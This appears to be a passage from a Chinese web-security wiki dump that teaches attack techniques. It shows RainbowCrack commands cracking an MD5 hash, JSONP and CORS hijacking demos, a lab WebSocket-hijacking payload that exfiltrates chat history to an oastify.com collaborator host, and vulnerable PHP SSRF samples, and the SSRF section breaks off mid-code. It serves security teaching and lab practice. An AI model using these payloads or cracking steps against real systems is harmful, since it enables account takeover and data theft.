abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 1 - 10reduce offset: 0x00000000plaintext total: 146813779479510sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 15.2 s)# 我们同样可以猜测密码长度...这只是时间问题和大小问题罢了┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 0 2000 80000 0# 使用不同的归约函数┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 1 2000 80000 0rainbow table md5_loweralpha#4-5_1_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00010000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.2 s)┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 2 2000 80000 0rainbow table md5_loweralpha#4-5_2_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00020000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.0 s) ┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 3 2000 80000 0rainbow table md5_loweralpha#4-5_3_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00030000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.1 s) rtsort 排序生成好了彩虹表,我们应当对其进行排序,以帮助我们更快速的破解 1234567891011121314151617181920212223242526# 这里有个坑,指定文件名无法排序┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtsort . ./md5_loweralpha#4-5_2_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#4-5_3_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#4-5_1_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#1-10_0_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data... rcrcak破解1234567891011121314151617181920212223242526┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rcrack -hRainbowCrack 1.8Copyright 2020 RainbowCrack Project. All rights reserved.http://project-rainbowcrack.com/usage: ./rcrack path [path] [...] -h hash ./rcrack path [path] [...] -l hash_list_file ./rcrack path [path] [...] -lm pwdump_file ./rcrack path [path] [...] -ntlm pwdump_filepath: directory where rainbow tables (*.rt, *.rtc) are stored-h hash: load single hash-l hash_list_file: load hashes from a file, each hash in a line-lm pwdump_file: load lm hashes from pwdump file-ntlm pwdump_file: load ntlm hashes from pwdump fileimplemented hash algorithms: lm HashLen=8 PlaintextLen=0-7 ntlm HashLen=16 PlaintextLen=0-15 md5 HashLen=16 PlaintextLen=0-15 sha1 HashLen=20 PlaintextLen=0-20 sha256 HashLen=32 PlaintextLen=0-20examples: ./rcrack . -h 5d41402abc4b2a76b9719d911017c592 ./rcrack . -l hash.txt 参数 释义 -h -h指定单个散列值破解 -l 若散列Hash值较多,可以保存在一个文件中,-l指定读取散列值文件内的散列进行破解 -lm 加载有关Windows 2003内比较老的机器的系统散列值加密算法lm散列文件,与上一个指令相同,他的不同就在于:若破解有关的lm的多个散列组成的文件,需要指定 -ntlm 与-lm相同,ntlm是Windows现如今流行的系统加密算法 1234567891011121314151617181920212223242526272829┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rcrack . -h 21232f297a57a5a743894a0e4a801fc34 rainbow tables foundmemory available: 2510874214 bytesmemory for rainbow chain traverse: 32000 bytes per hash, 32000 bytes for 1 hashesmemory for rainbow table buffer: 4 x 1280016 bytesdisk: ./md5_loweralpha#1-10_0_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_1_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_2_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_3_2000x80000_0.rt: 1280000 bytes readdisk: finished reading all filesplaintext of 21232f297a57a5a743894a0e4a801fc3 is adminstatistics----------------------------------------------------------------plaintext found: 1 of 1total time: 0.40 stime of chain traverse: 0.39 stime of alarm check: 0.00 stime of disk read: 0.01 shash & reduce calculation of chain traverse: 3996000hash & reduce calculation of alarm check: 896number of alarm: 130performance of chain traverse: 10.22 million/sperformance of alarm check: 0.45 million/sresult----------------------------------------------------------------21232f297a57a5a743894a0e4a801fc3 admin hex:61646d696e"},{"title":"八. 同源策略","path":"/wiki/VulnerabilityInsightDocs/八. 同源策略.html","content":"总字符数: 11.95K 代码: 6.02K, 文本: 3.74K 预计阅读时间: 42 分钟 同源策略 ​\t同源策略是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源.此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据. 同源策略在Web应用程序中具有重要意义,因为它确保了不相关网站之间的严格分隔,防止数据泄露.Web应用程序通常依赖于HTTP cookie来维持用户会话,因此同源策略是必要的. 需要注意的是,同源策略仅适用于脚本.这意味着某个网站可以通过相应的HTML标签来访问不同来源网站上的图像、CSS和动态加载脚本等资源.然而,由于同源策略不适用于HTML标签,因此可能存在跨站请求伪造的漏洞.跨站请求伪造利用了这个漏洞. URL 结果 原因 http://store.company.com/dir2/other.html 同源 只有路径不同 http://store.company.com/dir/inner/another.html 同源 只有路径不同 https://store.company.com/secure.html 失败 协议不同 http://store.company.com:81/dir/etc.html 失败 端口不同 ( http:// 默认端口是80) http://news.company.com/dir/other.html 失败 主机不同 jsonp劫持漏洞原理JSONP是一种非官方的技术手段,用于跨域获取资源.它利用了script标签的src属性不受同源策略影响的特性.与官方的跨域解决方案CORS和postMessage相比,JSONP是一种常见的替代方案. 然而,需要注意的是,如果网站B没有对网站A的JSONP请求进行安全检查,直接返回数据,就会存在JSONP漏洞.这种漏洞会使网站A能够利用JSONP来获取用户在网站B上的数据.因此,网站B应该对JSONP请求进行安全检查,以防止此类漏洞的发生. 漏洞利用过程示意图 用户在网站B注册并登录后,网站B会保存用户的id、name、email等个人信息.此外,网站B还提供了一个JSONP接口,用于返回用户的个人信息. 用户通过同一浏览器向网站A发送URL. 网站A返回一个响应页面,该页面包含了恶意的JSONP回调函数和向网站B发送请求的script标签. 示例12345678910111213141516171819<!-- 引入JavaScript脚本的标签,定义了一段客户端JavaScript代码.--><script type="text/javascript">// 定义一个名为Callback的函数,它接受一个参数result.function Callback(result){ // 使用alert函数弹出一个窗口,显示传入result对象的name属性. alert(result.name);}// 脚本标签结束.</script><!--引入JavaScript脚本的标签,包括type属性定义脚本类型,和src属性指定远程脚本的URL.--><!--远程脚本的URL,是一个跨域请求(即从域B.com请求数据).--><!--通过URL参数jsonp指定了回调函数的名字是Callback,这是JSONP技术的一部分.--><script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script><!-- 使用JSONP技术的一个例子,用于跨域请求数据.--><!-- JSONP利用<script>标签没有跨域限制的特性,可以从其他域请求代码或数据.--><!-- 在这里,从http://B.com请求数据,并希望返回的JavaScript调用Callback函数.--> ​\t这段代码的作用是通过JSONP技术跨域请求数据.JSONP(JSON with Padding)是JSON的一种使用模式,可以让网页从别的域名(网站)那获取资料,即实现跨域读取数据. 在上面的代码中,Callback函数被定义为全局函数,可以被远程脚本调用.当B.com的服务器接收到这个请求后,它会发送回一个JavaScript文件,这个文件中包含了对Callback函数的调用以及所请求的数据作为参数.然后,Callback函数被执行,实际上完成了跨域数据传输.当远程服务器返回的数据到达时,Callback函数会被调用,并弹出一个包含结果中名字的警告框. 需要注意的是,因为跨域请求的安全问题,现在JSONP的使用已经比较少见,更安全和现代的方法是使用CORS(跨源资源共享)头部在API服务器上进行配置. 用户收到响应后,解析恶意代码并将回调函数作为参数,向网站B发起请求. 网站B接收到请求后,解析请求的URL,并生成包含用户信息的JSON数据.然后,将封装好的JSON数据作为回调函数的参数返回给浏览器.网站B返回的数据实例如下: 12345Callback({ "id":1, "name":"test", "email":"test@test.com"}) 网站B数据返回后,浏览器则自动执行Callback函数将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息. 复现过程jsonp.php1234567891011<?phpheader('Content-type: application/json');header('Access-Control-Allow-Origin:*');header('Access-Control-Allow-Methods:GET');header('Access-Control-Max-Age:60');header('Access-Control-Allow-Headers:x-requested with,content-type');header('Content-Type:application/json;charset=utf-8');$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);echo json_encode($arr);?> 123456789101112131415161718192021222324<?php// 设置响应头,指明内容类型为JSONheader('Content-type: application/json');// 允许所有域名进行跨域请求header('Access-Control-Allow-Origin:*');// 限制HTTP方法为GETheader('Access-Control-Allow-Methods:GET');// 指定预检请求(preflight)的结果能够被缓存多长时间header('Access-Control-Max-Age:60');// 允许特定的HTTP头部在跨域请求中被使用header('Access-Control-Allow-Headers:x-requested with,content-type');// 设置内容类型为JSON,并指定字符集为UTF-8header('Content-Type:application/json;charset=utf-8');// 获取请求中的jsoncallback参数,并进行HTML转义防止XSS攻击$jsoncallback = htmlspecialchars($_REQUEST['jsoncallback']);// 创建一个关联数组$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);// 将数组编码为JSON格式的字符串echo json_encode($arr);?> 当我们正常访问此页面的内容时,可以看到如下的页面内容: 随后可以在本地的kali中启用httpserver: python3 -m http.server 8080 1.html123456789101112131415<!DOCTYPE html><html><head> <title>jsonp</title></head><body><script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script><script type="text/javascript"> $.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){ alert(jsonp.b); });</script></body></html> 12345678910111213141516171819<!DOCTYPE html> <!-- 声明文档类型,告诉浏览器这是HTML5文档 --><html><head> <title>jsonp</title> <!-- 设置页面的标题为 'jsonp' --></head><body><!-- 引入jQuery库,jQuery是一个快速、小巧、功能丰富的JavaScript库 --><script type="text/javascript" src="https://code.jquery.com/jquery-3.1.1.min.js"></script> <!-- 包含了jQuery库的脚本结束 --><script type="text/javascript"> // 使用jQuery获取JSON数据,这是一个简化的异步HTTP(Ajax)请求 $.getJSON("http://10.10.20.7:9000/jsonp.php?jsoncallback=1", function(jsonp){ // 定义回调函数,当请求成功返回时执行.'jsonp'变量包含了响应数据 alert(jsonp.b); // 弹出一个警告框,显示返回JSON对象中'b'属性的值 });</script> <!-- 包含了getJSON请求的脚本结束 --></body></html> 通过访问测试页面获取到敏感参数 总结在具备跨域且请求无token的前提下,可以采取以下步骤来检测和记录可能存在JSONP劫持漏洞的请求. 1. 监测所有请求 当用户访问网站时,对浏览器发出的所有请求进行监测. 2. 检测关键字段 在请求中查找关键字段,比如callback等.如果请求中包含这些关键字段,将其记录下来. 3. 检查返回数据 继续访问请求并获取返回的数据. 检查返回数据中是否包含uid、username等关键字,如果存在,认定为疑似JSONP劫持漏洞. 4. 向服务器发送疑似链接 将疑似存在JSONP劫持漏洞的链接地址发送给服务器进行进一步验证. 需要注意的是,这个方法更适用于蜜罐场景,用于钓鱼攻击,并且属于低危漏洞. cors跨域资源共享基础概念 ​\t跨域资源共享(CORS)是一种放宽同源策略的机制,它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制,以使不同的网站可以跨域获取数据. CORS 定义了两种跨域请求:简单请求和非简单请求. 简单跨域请求: 使用设定的请求方式请求数据, 非简单跨域请求: 在使用设定的请求方式请求数据之前,先发送一个OPTIONS预检请求,验证请求源是否为服务端允许源 白名单.只有”预检”通过后才会再发送一次请求用于数据传输. 在跨域请求中,浏览器会对请求进行检查并根据是否是简单跨域请求采取不同的处理方式. 简单跨域请求,浏览器会直接发送请求,不做其他验证. 非简单跨域请求,浏览器会进行预检验证的过程. CORS运行机制 浏览器发送请求时,会自动在请求头中添加Origin字段,其中包含了请求来源的域名信息. 服务器通过验证Origin字段来判断是否允许请求访问,从而实现浏览器的跨源访问. CORS漏洞: 浏览器自动在HTTP请求头中加上Origin字段. 服务器通过判断Origin字段的值来决定是否允许读取本站资源,以防止跨站请求伪造(CSRF)等安全问题. 字段解释: Access-Control-Allow-Origin:该字段是必需的,它的值可以是请求时Origin字段的值,或者是一个通配符_,表示接受任意域名的请求. Access-Control-Allow-Credentials:该字段是可选的,它的值是一个布尔值,用于表示是否允许发送Cookie.默认情况下,CORS请求不会携带Cookie.当设置为true时,表示服务器明确允许在请求中携带Cookie. Access-Control-Expose-Headers:该字段是可选的,用于指定在CORS请求中可以访问的除了基本字段之外的其他自定义头部信息.默认情况下,XMLHttpRequest对象的getResponseHeader()方法只能获取到基本字段的值.通过在该字段中指定自定义头部信息,服务器可以让客户端能够访问到这些额外的头部信息. 复现过程服务器端123456<?php// 设置HTTP响应头部,允许所有域名进行跨域请求header("Access-Control-Allow-Origin:*");// 输出包含用户名和密码的字符串echo "username: admin; password:123456";?> attack123456789101112131415161718192021222324<!DOCTYPE><html><h1>Hello I evil page</h1><script type="text/javascript">function loadXMLDoc(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange=function() { if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response { var datas=xhr.responseText; alert(datas); } } //request vuln pagexhr.open("GET","http://172.16.4.192/2.php","true") xhr.send();}loadXMLDoc();</script></html> 12345678910111213141516171819202122<!DOCTYPE> <!-- 缺少了doctype后面应该跟的文档类型,比如 html --><html> <!-- HTML文档的根元素开始 --><h1>Hello I evil page</h1> <!-- 一个h1标题,表明页面的内容可能有恶意 --><script type="text/javascript"> <!-- JavaScript脚本开始 -->function loadXMLDoc() // 定义了一个函数loadXMLDoc{ var xhr = new XMLHttpRequest(); // 创建一个新的XMLHttpRequest对象 xhr.onreadystatechange=function() // 定义当请求的状态变化时调用的函数 { if(xhr.readyState == 4 && xhr.status == 200) // 如果请求完成且响应状态为200(OK) { var datas=xhr.responseText; // 从响应中获取文本数据 alert(datas); // 将响应文本显示在一个警告框中 } } // 请求外部页面,可能是一个存在安全问题的页面 xhr.open("GET","http://172.16.4.192/2.php","true") // 初始化一个GET请求 xhr.send(); // 发送请求}loadXMLDoc(); // 调用函数,执行上述定义的请求过程</script> <!-- JavaScript脚本结束 --></html> <!-- HTML文档的根元素结束 --> html代码的意思是通过XMLHttpRequest访问URL地址,然后将获取到的内容alert出来. websocket跨域劫持基础概念 ​\tWebSocket协议是OSI模型应用层的一种协议,它能够在客户端(浏览器)和Web服务器之间以全双工(一种信息可以在两个方向同时循环的通信通道)进行通信.简而言之,它允许创建实时Web应用程序,比如即时消息聊天. WebSocket技术提升了通信效率,解决了半双工导致的通信延迟问题,即传统上一次只能单向通信.与通常通过HTTP协议的客户端-服务器模型不同,客户端发送请求并等待服务器响应的单个事务模式,WebSocket建立的是持续连接,允许多个请求/响应在同一事务内流转.关键优势是服务器能够主动发送数据,而不需要客户端先发起请求. 下图说明了WebSocket如何工作(从连接到通信) https://www.swoole.com/https://www.swoole.com/ 12345678910111213141516171819202122232425262728293031323334<?php// 创建一个新的WebSocket服务器实例,监听0.0.0.0的9502端口$server = new Swoole\\WebSocket\\Server("0.0.0.0", 9502);// 注册'open'事件回调函数,当新的WebSocket连接打开时触发$server->on('open', function (Swoole\\WebSocket\\Server $server, $request) { // 打印新连接的信息,$request->fd 是客户端的文件描述符 echo "New connection: #{$request->fd} ";});// 注册'message'事件回调函数,当服务器接收到来自客户端的消息时触发$server->on('message', function (Swoole\\WebSocket\\Server $server, $frame) { // 打印收到的消息和发送者的文件描述符 echo "Received message from #{$frame->fd}: {$frame->data} "; // 遍历所有已建立连接的客户端 foreach ($server->connections as $fd) { // 检查这个连接不是消息发送者本身,且连接是已经建立的 if ($fd !== $frame->fd && $server->isEstablished($fd)) { // 给其他所有客户端推送接收到的消息 $server->push($fd, $frame->data); } }});// 注册'close'事件回调函数,当WebSocket连接关闭时触发$server->on('close', function ($server, $fd) { // 打印关闭连接的客户端文件描述符 echo "Connection closed: #{$fd} ";});// 启动WebSocket服务器$server->start(); 可能的攻击和安全风险WebSockets 提供了全双工通信渠道,适于实时应用程序如即时消息传递.但是,它不内置任何特定的安全措施,导致可能存有与HTTP类似的安全漏洞. 以下是可能面临的一些主要安全问题: 身份验证机制缺失 - WebSocket本身不提供身份验证机制,通常需要利用cookies、JWT或HTTP身份验证来实现.在安全测试中,应确认是否有身份验证系统,并且是否正确实现. 授权问题 - WebSocket没有内置的授权管理系统,使得攻击者可能通过提升权限或访问其他用户数据进行攻击.访问控制应该在测试中被详尽地评估. 数据传输风险 - WebSocket数据传输默认不加密,类似HTTP,可能受到中间人攻击.应当使用WebSocket Secure(wss)并通过TLS加密数据. 跨站点WebSocket劫持(CSWH) - 类似于CSRF攻击,WebSocket可能受到跨站点劫持,特别是当身份认证基于cookies时.必须在握手请求中为每个会话添加难以预测的唯一令牌以防止此类攻击. 为确保WebSocket通信的安全,应实施综合的安全策略,包括有效的身份验证、授权检查、输入清理和使用加密通道. 复现过程手动使用Burp Collaborator的大致流程是: 生成Collaborator有效负载,它们是Collaborator服务器域的子域. 将有效负载插入到请求中并将请求发送到目标应用程序. 轮询Collaborator服务器,查看应用程序是否使用注入的有效负载与任何网络服务交互. https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/labhttps://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab 点击”实时聊天”并发送聊天消息. 刷新页面. 在Burp Proxy的WebSockets历史记录选项卡中,观察到READY命令从服务器检索过往的聊天消息. 在Burp Proxy的HTTP历史记录选项卡中,找到WebSocket握手请求.注意到请求中没有CSRF令牌. 右键点击握手请求并选择”复制URL”. 在浏览器中,点击Go to exploit server并将以下模板粘贴到”正文”部分: 123456789<script> var ws = new WebSocket('wss://0a4b001903a78d00830983880084004a.web-security-academy.net/chat'); ws.onopen = function() { ws.send("READY"); }; ws.onmessage = function(event) { fetch('https://gscvabn1ekkskohh354x4glbv21tpjd8.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data}); };</script> 123456789101112131415161718192021<script> // 创建一个新的WebSocket连接,将URL替换成目标WebSocket握手的URL var ws = new WebSocket('wss://your-websocket-url'); // 当WebSocket连接成功打开后触发 ws.onopen = function() { // 向WebSocket服务器发送"READY"命令以请求聊天历史记录 ws.send("READY"); }; // 当WebSocket接收到服务器发来的消息时触发 ws.onmessage = function(event) { // 使用fetch API向攻击者的服务器发送请求,将接收到的消息作为POST请求的内容 // 这一步实际上是将窃取到的数据"汇报"给攻击者 fetch('https://your-collaborator-url', { method: 'POST', // 使用POST方法 mode: 'no-cors', // 无需跨域资源共享(CORS)的预检请求 body: event.data // 消息数据作为请求的主体 }); };</script> 将你的WebSocket URL替换为WebSocket握手的URL(your-lab-id.web-security-academy.net/chat).确保你把协议从https://更改为wss://.将你的Collaborator URL替换为由Burp Collaborator客户端生成的有效载荷. ​ collaborator通常指的是一个协作工具或服务,它可用于帮助发现和诊断远程的、可能不易观察的安全漏洞.这类工具经常在渗透测试和安全评估中使用,其工作原理通常涉及监听并记录外部系统发起的DNS查询、HTTP请求和其他网络活动. ​ 例如:在用于安全测试的工具Burp Suite中,Burp Collaborator可以用来检测盲注的服务端安全漏洞,例如:盲注SQL注入、盲注命令注入、服务器端请求伪造(SSRF)等.当应用程序在处理用户的输入时引发了一个到Collaborator服务器的后台HTTP请求或DNS查询,这可能表明存在一个漏洞点,因为数据被发送到了控制者(即安全测试人员)的服务器. 用Burp Suite中的Collaborator工具检查是否有请求发来,以此来确认你的攻击是否成功获取了聊天记录,并且这些记录是否被发送到了Collaborator. 对于聊天中的每一条消息,Collaborator都会接收到一个HTTP请求,这些请求包含JSON格式的聊天内容,但消息顺序可能是错的. 返回到攻exploit server,点击Deliver exploit to victim按钮. 再次用Collaborator工具检查,这次你会看到更多包含受害者聊天记录的请求. 在这些消息中找到受害者的用户名和密码. 使用刚才找到的用户名和密码登录受害者的账户."},{"title":"二. 弱口令","path":"/wiki/VulnerabilityInsightDocs/二. 弱口令.html","content":"总字符数: 2.22K 代码: 无, 文本: 1.92K 预计阅读时间: 8 分钟 漏洞介绍 弱口令是信息系统中常见的安全漏洞之一,其主要特征是登录口令的强度不足,容易受到攻击者的猜测或破解. 以下是一些常见的弱口令形式和可能导致弱口令的原因: 系统出厂默认口令: 在某些情况下,系统或设备出厂时预设了默认的登录口令,如果管理员没有及时更改这些默认口令,就容易成为攻击目标. 密码设置过于简单: 口令长度不足、过于简单,只包含数字或字母的组合,或者使用常见的单词、短语,都增加了口令被猜测或破解的风险. 使用易猜测的信息: 如果口令中包含容易被他人获取或猜测的信息,如生日、姓名、电话号码、身份证号码等,那么这样的口令也容易受到攻击. 流行口令的使用: 有些人倾向于使用流行口令,这些口令可能存在于密码字典或口令库中,攻击者可以通过破解工具快速尝试这些常见口令. 弱口令的存在会增加系统被未经授权访问或攻击的风险,因此在信息安全管理中,加强口令策略、提高用户和管理员的安全意识是至关重要的. 漏洞危害绝大多数企业有一定用户数,对安全密码复杂对没有安全基准或落实不到位,都会存在弱密码,会看似符合 密码复杂度要求的密码,其实是是弱密码如P@ssw0rdwer!@#$等,暴力破解和弱密码最终都是导致用户身份认证失效,系统可能是基于角色或用户做授权的. 获取敏感信息: 攻击者成功破解用户密码后,可以登录系统并查看用户的敏感信息,包括个人资料、私人文件、以及可能存储在系统中的敏感数据. 进行钓鱼攻击: 破解成功后,攻击者可能利用用户的合法权限进行钓鱼攻击.这包括发送虚假的电子邮件、信息或链接,以诱使用户提供更多敏感信息或执行恶意操作. 控制整个站点: 如果攻击者能够破解管理员密码,他们可能获得对整个系统的控制权.这将使攻击者有可能查找系统中的其他漏洞,甚至篡改系统设置、上传恶意代码等. 批量获取用户账号密码: 攻击者可以利用弱密码进行批量攻击,获取大量用户的账号密码.这对网站和用户都构成了较大威胁,尤其是如果用户在多个平台上使用相同的密码. 进一步渗透: 一旦攻击者获得了初始权限,他们可能进一步尝试在系统中寻找其他弱点或漏洞,以扩大攻击范围,例如通过尝试提升权限、横向移动等手段. 通过邮箱攻击: 如果攻击者能够暴力破解用户的邮箱密码,他们可以获取通信录等信息,从而了解更多关于用户和组织的内部情况,为后续攻击提供更多资料. 防护方法 多因素认证: 尽管可能影响用户体验,但在关键系统和敏感操作中使用多因素认证是非常有效的安全措施.它提供了额外的安全层,即使密码泄漏,攻击者也需要其他因素才能成功登录. 验证码: 验证码是常见而有效的防御手段,尤其是对于防范自动化攻击.它可以有效降低暴力破解的成功率,但确实可能对用户体验产生一定影响. 频率限制: 对登录尝试次数进行限制是一种有效的防御手段,可以减缓暴力破解尝试的速度.结合账号锁定和IP封禁机制,可以进一步提高安全性. 安全加固及监控: 对系统进行安全加固,使用入侵防御系统(IPS)等技术进行实时监控,有助于及时发现并阻止潜在的攻击行为. Token: 使用令牌(Token)可以增加一定程度上的安全性,特别是对于防范重放攻击和CSRF(跨站请求伪造)攻击.确保令牌的有效性和随机性是重要的. 不明确返回信息: 不明确返回用户账号是否存在或密码错误,是一种减缓暴力破解的手段,因为攻击者无法通过错误信息得知他们的猜测是否正确. 密码策略: 禁用常见的弱密码,强制用户采用复杂的密码,以及定期修改密码策略都是有效的密码管理措施. 设置密码通常遵循的原则 密码长度: 选择8到26位的密码长度是一个不错的范围,更长的密码通常更安全.长密码可以提供更大的组合可能性,增加暴力破解的难度. 字符要求: 要求密码包含不同种类的字符,如大写字母、小写字母、数字和特殊字符,是密码安全的基本原则.这样的要求增加了密码的复杂性,降低了被猜测或破解的概率. 避免包含用户名: 禁止使用用户名或用户名的逆序是防范密码猜测和社会工程攻击的一种重要手段.攻击者通常会尝试使用用户的个人信息来猜测密码. 避免连续字符: 禁止使用连续相同的字符或连续的某个字符是为了防范简单而容易被猜测的密码. 不包含特殊内容: 禁止包含个人信息或与用户相关的信息是为了降低密码被社会工程攻击或猜测的风险. 不使用数字或符号代替字母: 避免使用类似将字母’O’替换为数字’0’的方法,因为这样的替换容易被猜测. 定期更换口令: 要求用户定期更换口令是为了降低长期有效的口令被滥用的风险.定期更换密码可以确保即使密码泄露,也能够限制攻击者的窗口期. 以上原则是一个综合的密码管理方案,结合多因素认证等安全措施,可以更全面地提高系统的安全性.不过,在实施这些原则时,也需要考虑用户体验,以确保安全措施不会过于繁琐,影响用户的正常使用."},{"title":"十. SSRF服务端请求伪造","path":"/wiki/VulnerabilityInsightDocs/十. SSRF服务端请求伪造.html","content":"总字符数: 30.05K 代码: 19.97K, 文本: 4.18K 预计阅读时间: 1.75 小时 ssrf 漏洞简介SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造特殊形成的请求,并且由指定服务器端发起恶意请求的一个安全漏洞. 由于业务运行的服务器处于内外网边界,并且可通过利用当前的这台服务器,根据所在的网络访问到与外部网络隔离的内网应用,所以一般情况下,SSRF漏洞的攻击目标是攻击者无法直接访问的内网系统. SSRF漏洞的形成大多是由于服务端提供了从其他服务器应用获取数据的功能而没有对目标地址做过滤和限制. 例如,黑客操控服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等,利用的就是服务端请求伪造,SSRF漏洞可以利用存在缺陷的WEB应用作为代理.攻击远程和本地的服务器. SSRF的危害 扫描内网(主机、端口) 向内部任意主机的任意端口发送精心构造的payload 攻击内网的Web应用 读取任意文件 ssrf 漏洞常见功能点(漏洞常见出没的位置) 社交分享功能 获取超链接的标题等内容进行显示 转码服务 通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 在线翻译 给网址翻译对应网页的内容 图片加载/下载 例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片 图片/文章收藏功能 主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验 云服务厂商 它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 网站采集,网站抓取的地方 一些网站会针对你输入的url进行一些信息采集工作 数据库内置功能 数据库的比如mongodb的copyDatabase函数 邮件系统 比如接收邮件服务器地址 编码处理、属性信息处理,文件处理 比如ffpmg,ImageMagick,docx,pdf,xml处理器等 未公开的api实现以及其他扩展调用URL的功能 可以利用google语法加上这些关键字去寻找SSRF漏洞.一些的url中的关键字有 share wap url link src source target 3g u display sourceURl imageURL domain 从远程服务器请求资源 ssrf 常见函数file_get_contents https://www.php.net/manual/zh/function.file-get-contents.phphttps://www.php.net/manual/zh/function.file-get-contents.php 12345<?php$url = $_GET['url'];# file_get_contents()函数是用来将文件的内容读入到一个字符串中的首选方法.echo file_get_contents($url);?> fsockopen https://www.php.net/manual/zh/function.fsockopen.phphttps://www.php.net/manual/zh/function.fsockopen.php 123456789101112131415161718<?php$host=$_GET['url'];# fsockopen() 函数打开一个网络连接或者一个Unix套接字连接$fp = fsockopen($host, 80, $errno, $errstr, 30);if (!$fp) { echo "$errstr ($errno) ";} else { $out = "GET / HTTP/1.1\\r "; $out .= "Host: $host\\r "; $out .= "Connection: Close\\r \\r "; fwrite($fp, $out); while (!feof($fp)) { echo fgets($fp, 128); } fclose($fp);}?> curl_exec() https://www.php.net/manual/en/function.curl-exec.phphttps://www.php.net/manual/en/function.curl-exec.php 12345678910111213<?php if (isset($_GET['url'])){ $link = $_GET['url']; # curl_exec()执行一个 curl 会话 $curlobj = curl_init(); // 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项 $result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器 curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源 echo $result;}?> SoapClient() https://www.php.net/manual/en/class.soapclient.phphttps://www.php.net/manual/en/class.soapclient.php 123456789// ssrf.php<?php# SoapClient() 类为SOAP 1.1,SOAP 1.2服务器提供客户端.它可以在 WSDL 或非 WSDL 模式下使用.$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.72:2333', 'location'=>'http://47.xxx.xxx.72:2333/aaa'));$b = serialize($a);echo $b;$c = unserialize($b);$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf?> SSRF漏洞的验证 因为SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器发送的,从而来判断是否存在SSRF漏洞. 在页面源码中查找访问的资源地址 ,如果该资源地址类型为www.baidu.com/xxx.php?image=地址的就可能存在SSRF漏洞 ssrf漏洞利用123456789101112<?php # ssrf测试代码 error_reporting(0); highlight_file(__FILE__); $url=$_GET['url']; $ch=curl_init($url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 